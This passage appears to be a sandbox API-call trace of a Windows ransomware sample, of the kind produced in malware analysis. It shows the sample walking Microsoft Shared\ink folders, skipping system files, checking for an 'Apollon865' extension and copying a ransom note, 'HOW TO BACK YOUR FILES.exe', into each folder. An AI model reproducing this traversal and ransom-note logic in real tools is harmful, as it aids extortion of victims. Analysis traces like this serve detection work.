	[0076.556] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1
	[0076.556] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="windows") returned -1
	[0076.556] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1
	[0076.556] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="temp") returned 1
	[0076.556] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="pagefile.sys") returned 1
	[0076.556] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot") returned 1
	[0076.556] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ids.txt") returned 1
	[0076.556] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1
	[0076.556] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="perflogs") returned 1
	[0076.556] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="MSBuild") returned 1
	[0076.556] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*") returned 58
	[0076.556] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0076.556] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.556] lstrlenW (lpString="Apollon865") returned 10
	[0076.556] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0076.556] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH"
	[0076.556] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x592440 | out: hHeap=0x580000) returned 1
	[0076.556] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe88 | out: hHeap=0x580000) returned 1
	[0076.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH") returned 56
	[0076.556] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH"
	[0076.556] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.556] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.560] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.560] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45b46f10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45b46f10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.560] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.560] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.560] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.560] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45b46f10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45b46f10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.560] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.560] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.560] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.560] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.560] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b46f10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45b46f10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.560] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.560] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0076.560] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.561] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0076.561] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1
	[0076.561] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1
	[0076.561] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="windows") returned -1
	[0076.561] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1
	[0076.561] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="temp") returned 1
	[0076.561] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="pagefile.sys") returned 1
	[0076.561] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot") returned 1
	[0076.561] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ids.txt") returned 1
	[0076.561] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1
	[0076.561] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="perflogs") returned 1
	[0076.561] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="MSBuild") returned 1
	[0076.561] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*") returned 58
	[0076.561] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0076.561] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.561] lstrlenW (lpString="Apollon865") returned 10
	[0076.561] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0076.561] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE"
	[0076.561] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5923c0 | out: hHeap=0x580000) returned 1
	[0076.561] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe68 | out: hHeap=0x580000) returned 1
	[0076.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE") returned 56
	[0076.561] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE"
	[0076.561] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.561] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.565] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.565] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45b46f10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45b46f10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.566] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.566] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.566] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.566] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45b46f10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45b46f10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.566] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.566] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.566] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.566] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.566] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b46f10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45b46f10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.566] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.566] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0076.566] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.566] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0076.566] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1
	[0076.566] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1
	[0076.566] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="windows") returned -1
	[0076.566] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1
	[0076.566] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="temp") returned 1
	[0076.566] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="pagefile.sys") returned 1
	[0076.566] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot") returned 1
	[0076.566] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ids.txt") returned 1
	[0076.566] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1
	[0076.566] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="perflogs") returned 1
	[0076.566] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="MSBuild") returned 1
	[0076.566] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*") returned 58
	[0076.567] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0076.567] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.567] lstrlenW (lpString="Apollon865") returned 10
	[0076.567] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0076.567] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS"
	[0076.567] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0076.567] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe48 | out: hHeap=0x580000) returned 1
	[0076.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS") returned 61
	[0076.567] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS"
	[0076.567] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.567] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.574] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.574] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45b6d070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45b6d070, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.574] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.574] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.574] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.574] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45b6d070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45b6d070, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.574] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.574] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.574] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.574] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.575] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b6d070, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45b6d070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.575] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.575] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0076.575] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.575] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0076.575] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1
	[0076.575] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1
	[0076.575] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="windows") returned -1
	[0076.575] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1
	[0076.575] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="temp") returned 1
	[0076.575] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="pagefile.sys") returned 1
	[0076.575] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot") returned 1
	[0076.575] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ids.txt") returned 1
	[0076.575] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1
	[0076.575] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="perflogs") returned 1
	[0076.575] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="MSBuild") returned 1
	[0076.575] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*") returned 63
	[0076.575] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0076.575] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.575] lstrlenW (lpString="Apollon865") returned 10
	[0076.575] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0076.575] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI"
	[0076.575] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x592340 | out: hHeap=0x580000) returned 1
	[0076.575] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbc8 | out: hHeap=0x580000) returned 1
	[0076.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI") returned 56
	[0076.575] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI"
	[0076.575] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.575] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.579] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.579] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45b6d070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45b6d070, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.580] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.580] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.580] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.580] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45b6d070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45b6d070, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.580] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.580] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.580] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.580] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.580] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b6d070, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45b6d070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.580] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.580] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0076.580] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.580] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0076.580] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1
	[0076.580] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1
	[0076.580] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="windows") returned -1
	[0076.580] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1
	[0076.580] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="temp") returned 1
	[0076.580] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="pagefile.sys") returned 1
	[0076.580] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot") returned 1
	[0076.580] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ids.txt") returned 1
	[0076.580] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1
	[0076.580] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="perflogs") returned 1
	[0076.580] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="MSBuild") returned 1
	[0076.580] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*") returned 58
	[0076.580] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui"
	[0076.580] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0076.580] lstrlenW (lpString="Apollon865") returned 10
	[0076.580] lstrcmpiW (lpString1="sx.dll.mui", lpString2="Apollon865") returned 1
	[0076.581] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK"
	[0076.581] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5922c0 | out: hHeap=0x580000) returned 1
	[0076.581] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe28 | out: hHeap=0x580000) returned 1
	[0076.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK") returned 56
